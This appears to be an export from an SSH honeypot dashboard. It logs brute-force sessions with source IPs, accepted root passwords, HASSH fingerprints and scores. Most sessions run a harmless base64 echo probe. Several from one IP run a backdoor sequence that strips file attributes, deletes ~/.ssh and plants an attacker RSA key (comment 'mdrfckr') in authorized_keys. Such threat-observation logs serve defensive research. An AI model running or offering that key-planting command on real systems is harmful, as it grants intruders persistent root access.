Adversarial Observation Interface

60.163.139.198

2026-07-21 05:29:38.516443 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / serverfault

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 3e9ee26633f4

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "3e9ee26633f4",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:29:38.516443Z",
  "end_time": "2026-07-21T05:29:40.384722Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "serverfault"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:29:16.650209 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / superuser

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: c516a1f8b17e

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "c516a1f8b17e",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:29:16.650209Z",
  "end_time": "2026-07-21T05:29:18.814740Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "superuser"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:28:55.002012 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / stackexchange

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 4fb3096f0bc2

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "4fb3096f0bc2",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:28:55.002012Z",
  "end_time": "2026-07-21T05:28:56.268509Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "stackexchange"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:28:35.097057 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / stackoverflow

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 45e2c10ee943

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "45e2c10ee943",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:28:35.097057Z",
  "end_time": "2026-07-21T05:28:36.596236Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "stackoverflow"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:28:14.485423 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / bitbucket

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: ba3fc1abc6f1

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "ba3fc1abc6f1",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:28:14.485423Z",
  "end_time": "2026-07-21T05:28:16.252470Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "bitbucket"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

116.181.10.235

2026-07-21 05:28:01.001875 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d6c2121b6eec

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d6c2121b6eec",
  "src_ip": "116.181.10.235",
  "start_time": "2026-07-21T05:28:01.001875Z",
  "end_time": "2026-07-21T05:28:01.827626Z",
  "duration": "0.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

60.163.139.198

2026-07-21 05:27:52.542672 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / gitlab

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: b51555660c37

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "b51555660c37",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:27:52.542672Z",
  "end_time": "2026-07-21T05:27:53.881658Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "gitlab"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:27:30.793093 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / github

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 86a9459e918d

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "86a9459e918d",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:27:30.793093Z",
  "end_time": "2026-07-21T05:27:32.497649Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "github"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:27:10.193226 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / dribbble

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: d0f37a198ef8

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "d0f37a198ef8",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:27:10.193226Z",
  "end_time": "2026-07-21T05:27:12.108635Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "dribbble"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

103.82.21.8

2026-07-21 05:27:02.371834 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 6017d3e27896

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6017d3e27896",
  "src_ip": "103.82.21.8",
  "start_time": "2026-07-21T05:27:02.371834Z",
  "end_time": "2026-07-21T05:27:03.551500Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

103.82.21.8

2026-07-21 05:27:00.003236 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 01f8da846bac

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "01f8da846bac",
  "src_ip": "103.82.21.8",
  "start_time": "2026-07-21T05:27:00.003236Z",
  "end_time": "2026-07-21T05:27:02.177086Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

103.82.21.8

2026-07-21 05:26:57.466444 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Zj123456@

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: b6cc8d46ad09

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b6cc8d46ad09",
  "src_ip": "103.82.21.8",
  "start_time": "2026-07-21T05:26:57.466444Z",
  "end_time": "2026-07-21T05:27:03.554625Z",
  "duration": "6.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Zj123456@"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:26:50.296227 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / behance

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: e4592a56978c

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "e4592a56978c",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:26:50.296227Z",
  "end_time": "2026-07-21T05:26:52.065430Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "behance"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:26:30.168143 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / artstation

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 0c00688a0bcc

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "0c00688a0bcc",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:26:30.168143Z",
  "end_time": "2026-07-21T05:26:31.463711Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "artstation"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:26:07.461499 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / deviantart

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 59b55af6847c

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "59b55af6847c",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:26:07.461499Z",
  "end_time": "2026-07-21T05:26:08.747169Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "deviantart"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:25:45.806463 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / imgur

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 6fc99f0baf92

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "6fc99f0baf92",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:25:45.806463Z",
  "end_time": "2026-07-21T05:25:47.073806Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "imgur"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:25:25.799926 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / flickr

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 62c195191865

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "62c195191865",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:25:25.799926Z",
  "end_time": "2026-07-21T05:25:27.573097Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "flickr"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:25:04.145632 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / tumblr

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: ce2481670079

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "ce2481670079",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:25:04.145632Z",
  "end_time": "2026-07-21T05:25:05.571254Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "tumblr"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:24:44.374656 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / pinterest

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: b31ffb54e59a

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "b31ffb54e59a",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:24:44.374656Z",
  "end_time": "2026-07-21T05:24:45.628380Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "pinterest"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

116.181.10.235

2026-07-21 05:24:30.567146 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c74c9021c2c1

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c74c9021c2c1",
  "src_ip": "116.181.10.235",
  "start_time": "2026-07-21T05:24:30.567146Z",
  "end_time": "2026-07-21T05:24:31.454188Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

60.163.139.198

2026-07-21 05:24:22.854248 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / reddit

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 953a1c463692

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "953a1c463692",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:24:22.854248Z",
  "end_time": "2026-07-21T05:24:24.598980Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "reddit"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

103.82.21.8

2026-07-21 05:24:20.246558 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 71fcddee799d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "71fcddee799d",
  "src_ip": "103.82.21.8",
  "start_time": "2026-07-21T05:24:20.246558Z",
  "end_time": "2026-07-21T05:24:21.445449Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

103.82.21.8

2026-07-21 05:24:17.866596 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 57f8c272d348

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "57f8c272d348",
  "src_ip": "103.82.21.8",
  "start_time": "2026-07-21T05:24:17.866596Z",
  "end_time": "2026-07-21T05:24:20.052915Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

103.82.21.8

2026-07-21 05:24:15.173150 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123456qwe@

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: cc88b22afe2c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "cc88b22afe2c",
  "src_ip": "103.82.21.8",
  "start_time": "2026-07-21T05:24:15.173150Z",
  "end_time": "2026-07-21T05:24:21.448586Z",
  "duration": "6.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123456qwe@"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
